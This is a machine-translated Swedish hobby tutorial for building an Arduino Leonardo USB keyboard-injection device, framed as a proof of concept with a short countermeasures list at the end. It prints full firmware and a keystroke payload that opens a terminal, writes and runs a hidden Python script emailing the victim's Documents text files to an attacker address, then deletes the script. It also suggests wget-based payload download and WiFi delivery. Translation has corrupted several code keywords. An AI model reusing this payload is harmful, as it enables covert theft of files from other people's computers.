Innehållsförteckning:

Arduino Keyboard Exploit Demo (HID) och förebyggande: 4 steg (med bilder)
Arduino Keyboard Exploit Demo (HID) och förebyggande: 4 steg (med bilder)

Video: Arduino Keyboard Exploit Demo (HID) och förebyggande: 4 steg (med bilder)

Video: Arduino Keyboard Exploit Demo (HID) och förebyggande: 4 steg (med bilder)
Video: Keyboard exploit demo (HID) and prevention 2024, November
Anonim
Image
Image
Bygga enheten
Bygga enheten

I det här projektet kommer vi att använda en arduino leonardo för att simulera en möjlig USB -attack med hjälp av HID (humain interface device).

Jag har skapat denna handledning inte för att hjälpa hackare utan för att visa några verkliga faror och hur du skyddar dig från dessa faror. Den här enheten är inte en enhet som kan användas på någon plattform för hackare, det är mer ett bevis på konceptet i detalj.

Vi kommer att lära oss följande:

- hur man använder arduino leonardo för att efterlikna tangentbord

- hur man läser data från SD -kort

- hur man skapar ett python -skript som skannar filer och e -postar dem

- hur du skyddar dig från USB -hackningsenheter

Steg 1: Material

Delar:

1. Arduino leonardo

2. mikro -USB -kortläsare

3. några GB SD -kort

4. tryckknapp som denna (VCC, jord och signal)

5. hona-hona och hona-hona-bygelkablar

6. mikro -USB till USB -kabel

Steg 2: Bygga enheten

Bygga enheten
Bygga enheten

Innan bygginstruktionen låt oss granska arbetsprincipen:

Arduino leonardo kan bete sig som en human interface -enhet (HID) och kan därför efterlikna mus och tangentbord. Vi kommer att använda den här funktionen för att öppna en terminal (i UBUNTU linux) och skriva ett litet skript som kommer åt /Documents -mappen inuti användarens hemmapp kopiera.txt -filer där och e -postar dem till någon. Om du vill veta mer, kolla nästa steg.

Eftersom det är en demoenhet är saker och ting väldigt enkla, vi kommer inte att löda något.

Bygginstruktioner

Innan vi börjar kontrollera de bifogade filerna har jag bifogat fritzing schema och alla nödvändiga filer

1. Montera komponenterna:

* Anslut mikro -USB -kabeln i arduino

* anslut nyckelbrytaren till arduino (jord, vcc och ut modul till D8)

* anslut kortläsaren till arduino (med ICSP -rubrik). Arduino leonardo har inte ICSP -huvudet anslutet till digitala stift så du måste ansluta kortläsaren till ICSP -huvudet. Du kan hitta några ritningar av ICSP här: https://learn.sparkfun.com/tutorials/installing-an…. Anslut SS -stiftet till det digitala stiftet 10

2. få arduino -koden, du kan klona mitt arduino -arkiv på github: https://github.com/danionescu0/arduino och gå till projects/keyboard_exploit eller få det underifrån:

#inkludera "Keyboard.h"

#include "SPI.h" #include "SD.h" String fileameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Sleep::"; String commandStartingPoint = "Command::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; void setup () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println ("Kortet misslyckades eller finns inte!"); lämna tillbaka; }} void loop () {int buttonState = digitalRead (buttonPin); if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("uppladdad!"); fördröjning (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filnamnOnCard); if (! dataFile) {Serial.println ("Det angivna filnamnet finns inte på SD -kortet, kontrollera filnamnOnCard!"); } Stränglinje; medan (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (rad); sendToKeyboard (rad); } dataFile.close (); } void sendToKeyboard (String line) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (line); lämna tillbaka; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Text:"); Serial.println (rad); Keyboard.println (rad); tryck enter(); lämna tillbaka; } Serial.println ("Kommando:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); String command = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (command! = "") {Serial.print ("Kommando hittat:"); Serial.println (kommando); Keyboard.press (getCommandCode (kommando)); delay (delayBetweenCommands); }} Keyboard.releaseAll (); delay (delayBetweenCommands); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Sleeping for:"); Serial.println (sleepAmount); fördröjning (sleepAmount); } char getCommandCode (String text) {char textCharacters [2]; text.toCharArray (textCharacters, 2); char code = textCharacters [0]; kod = (text == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: kod; kod = (text == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: kod; kod = (text == "KEY_LEFT_ALT")? KEY_LEFT_ALT: kod; kod = (text == "KEY_UP_ARROW")? KEY_UP_ARROW: kod; kod = (text == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: kod; kod = (text == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: kod; kod = (text == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: kod; kod = (text == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: kod; kod = (text == "KEY_BACKSPACE")? KEY_BACKSPACE: kod; kod = (text == "KEY_TAB")? KEY_TAB: kod; kod = (text == "KEY_RETURN")? KEY_RETURN: kod; kod = (text == "KEY_ESC")? KEY_ESC: kod; kod = (text == "KEY_INSERT")? KEY_INSERT: kod; kod = (text == "KEY_DELETE")? KEY_DELETE: kod; kod = (text == "KEY_PAGE_UP")? KEY_PAGE_UP: kod; kod = (text == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: kod; kod = (text == "KEY_HOME")? KEY_HOME: kod; kod = (text == "KEY_END")? KEY_END: kod; kod = (text == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: kod; kod = (text == "KEY_F1")? KEY_F1: kod; kod = (text == "KEY_F2")? KEY_F2: kod; kod = (text == "KEY_F3")? KEY_F3: kod; kod = (text == "KEY_F4")? KEY_F4: kod; kod = (text == "KEY_F5")? KEY_F5: kod; kod = (text == "KEY_F6")? KEY_F6: kod; kod = (text == "KEY_F7")? KEY_F7: kod; kod = (text == "KEY_F8")? KEY_F8: kod; kod = (text == "KEY_F9")? KEY_F9: kod; kod = (text == "KEY_F10")? KEY_F10: kod; kod = (text == "KEY_F11")? KEY_F1: kod; kod = (text == "KEY_F12")? KEY_F2: kod;

returkod;

}

3. Ladda upp koden till arduino, var noga med att välja 9600 baud rate, serieporten och arduino leonardo

4. Formatera SD -kortet med FAT16 eller FAT32

5. Om du klonade github -repo ovanifrån, kopiera hack.txt -filen på kortet, om inte filen är listad nedan:

Kommando:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Kommando:: KEY_INSERT import smtplib import glob, os från os.path import expanduser från email. MIMEMultipart import MIMEMultipart från email. MIMEBase import MIMEBase från e -post. MIMEText -import MIMEText från e -post. Använd import COMMASPACE, formatdatum från e -postimportkodare

smtp_user = 'sender_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'Dokument'

subject = body = 'Filer från hackad dator'

header = 'Till: {0} nFrom: {1} nTema: {2} n'.format (to_address, smtp_user, subject)

def sendMail (till, ämne, text, filer = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = subject msg.attach (MIMEText (text)) för fil i filer: part = MIMEBase ('application', "octet-stream") part.set_payload (open (file, "rb"). Read ()) Encoders.encode_base64 (part) part. add_header ('Content-Disposition', 'attachment; filnamn = " % s"' % os.path.basename (fil)) msg.attach (del)

server = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, till, msg.as_string ()) server.quit ()

sendMail ([to_address], subject, body, glob.glob ("{0}/{1}/*. txt".format (expanduser ("~"), scan_documents_location)))

Sleep:: 50 Command:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4

6. Redigera följande rader:

smtp_user = 'sender_email_addr'

smtp_pass = 'sender_password' to_address = 'receiver_address'

Och ersätt med dina e -postadresser

7. Ta bort kortet och sätt in det i arduino -kortläsaren

Steg 3: Hur det fungerar i detaljer

Hur attacken kommer att fungera:

1. När knappen trycks in läser leonardo sd -kortet med en sd -kortläsare. En speciell fil som innehåller nycklar och tangentkombinationer kommer att finnas på kortet. Filnamnet är "hack.txt".

Filen kan innehålla rå text och den överförs till tangentbordet precis som den är.

Den kan också innehålla speciella kommandon som "Sleep::" och "Command::".

En rad som:

Sömn:: 200 betyder en sömn på 200 ms

En rad som:

Kommando:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t betyder vänster ctrl nedtryckt, vänster alt nedtryckt, t nedtryckt och allt släppt

Du kan kontrollera alla specialnycklar här:

2. Leonardo kommer att läsa rad för rad och tolka kommandona och emulera tangenterna på tangentbordet. Filen "hack.txt" innehåller en kombination av nycklar som gör följande (för UBUNTU linux):

a. öppnar en terminal (CTRL + ALT + T)

b. öppnar en python -fil för skapande med vi (skriver "vi hack.py"

c. skriver ett python -skript inuti som samlar alla textfiler inuti dokumentets hemmapp och skickar dem över till en angiven gmail -adress

d. kör filen i bakgrunden ("nohup python hack.py &")

e. raderar filen (rm -rf hack.py)

f. stänger terminalen (ALT + F4)

Det hela går på några sekunder och lämnar inga spår.

Förbättringar och felsökning

* Du kanske märker att efter att jag öppnat en terminal skriver jag python -filen. ett bättre sätt att komma till det är att vara värd för det någonstans och ladda ner det med kommandot "wget some_url" och byta namn på det till hack.py

* Vi kan också ladda ner eller köra en färdig exploatering för det riktade operativsystemet

* wifi kan läggas till modulen och hackarna kan laddas upp via WIFI

* du kan använda arduino micro (som är mycket mindre) och bädda in exploateringskod på den (för att göra den mindre)

Begränsningar

1. Eftersom den simulerade enheten (tangentbord och mus) inte har någon feedback vet vi inte vad som kommer att hända efter att ett kommando har utfärdats som innebär att vi måste använda förseningar. Till exempel utfärdar jag ett kommando för att öppna terminalen, men jag vet inte när den faktiskt kommer att vara öppen, så jag måste ange en godtycklig fördröjning för att se till att tecknen som skrivs efter inte går förlorade.

2. Vi kan stöta på tillståndsproblem som att inte ha tillgång till USB -porten eller tillåtelse att installera något

3. Skrivhastigheten är inte så stor på leonardo

4. Fungerar endast på ett riktat operativsystem (i vårt fall UBUNTU linux)

I nästa steg kommer vi att försöka hitta sätt att utnyttja dessa begränsningar för att förhindra att vår dator hackas

Steg 4: Motåtgärder

1. Inaktivera USB -portar

-för Windows kan du kolla den här självstudien:

2. Vitlista USB -enheter:

- för Windows:

2. Lås datorn när du inte är borta

3. Logga inte in som root (kräver lösenord för att installera något)

4. Håll dig själv uppdaterad (automatiska uppdateringar på)

Rekommenderad: